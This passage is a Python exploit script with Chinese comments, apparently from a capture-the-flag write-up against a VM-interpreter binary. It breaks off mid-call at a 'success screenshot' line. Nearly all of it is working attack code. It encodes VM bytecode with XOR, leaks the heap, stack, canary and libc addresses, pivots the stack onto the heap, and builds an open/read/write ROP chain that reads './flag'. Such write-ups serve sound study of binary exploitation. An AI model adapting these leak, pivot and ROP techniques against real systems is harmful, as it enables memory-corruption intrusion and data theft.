#修改栈上面的内容,准备栈迁移到堆上面
#分两步将栈地址给vmcodes->reg,分两步赋值
#先赋低位
codes+=input_sp()+input_sp()+store()
#赋高位
codes+=input_sp()+input_sp()+store()
#准备修改rbp
codes+=input_sp()+pop_r(0)
codes+=input_sp()
#由于代码长度太长,需要跳转执行
codes+=jmp(-2180)
#设计
codes = codes.ljust(0xfc,b'a')
payload = b''
for x in codes:
payload += p8(x ^ 0x68)
#铺设shellcode,同时篡改返回地址为50
fun3_xor(0x68,0xfc,payload)
sl(str(-2171))
sleep(0.05)
sl('-1003')
sl('-1004')
#得到heap
ru("aaaaaaaa%a\n")
hb1=int(rc(5))*0x100000000
ru("\n")
hb2=int(rl()[:-1])& 0xFFFFFFFF
hb=hb1+hb2-0x8d20
#得到stack,canary与libc
ru("(nil)(nil)(nil)0x")
ca=int(rc(16),16)
ru("0x7825000000000x520x")
stack=int(rc(12),16)
ru("(nil)(nil)0x")
lb=int(rc(12),16)-(0x73f03)
print("heap_base=",hex(hb))
print("canary=",hex(ca))
print("stack=",hex(stack))
print("libc_base=",hex(lb))
sleep(0.05)
#铺设代码
rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f497
rax=lb+0x0000000000045eb0
flag_addr=hb+0x2718
syscall=lb+0x0000000000114990
read = lb + libc.sym['read']
write = lb + libc.sym['write']
open=lb+libc.sym['open']
lr=lb+0x00000000000562ec
orw=p64(hb+0x2680)+p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(flag_addr)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read)
orw+=p64(rdi)+p64(1)+p64(write)+b'./flag\x00\x00'
#修改rbp高位
codes2=pop_r(1)
#修改返回地址为lr
codes2+=input_sp()+pop_r(6)
#修改pc大小
codes2+=input_sp()+input_sp()+store()
payload=orw+codes2
#将orw代码先读入到heap上面
sl(payload)
#分两步将栈地址给vmcodes->reg,分两步赋值
#先赋低位
# gdbbug()
stack=stack-0x9b0
stack1=stack>>32
stack2=stack-(stack1<<32)
sl(str(stack2))
sl('-1004')
#赋高位
sl(str(stack1))
sl('-1003')
#修改栈上内容
#修改rbp
hbrop=hb+0x2680
pd1=hbrop>>32
pd2=hbrop-(pd1<<32)
sl(str(pd2))
sl(str(pd1))
#修改返回地址为leave_ret
pd3=lr>>32
pd4=lr-(pd3<<32)
sl(str(pd4))
#修改pc大小,准备跳出去
sl('-3840')
sl('-1006')
ita(
成功截图: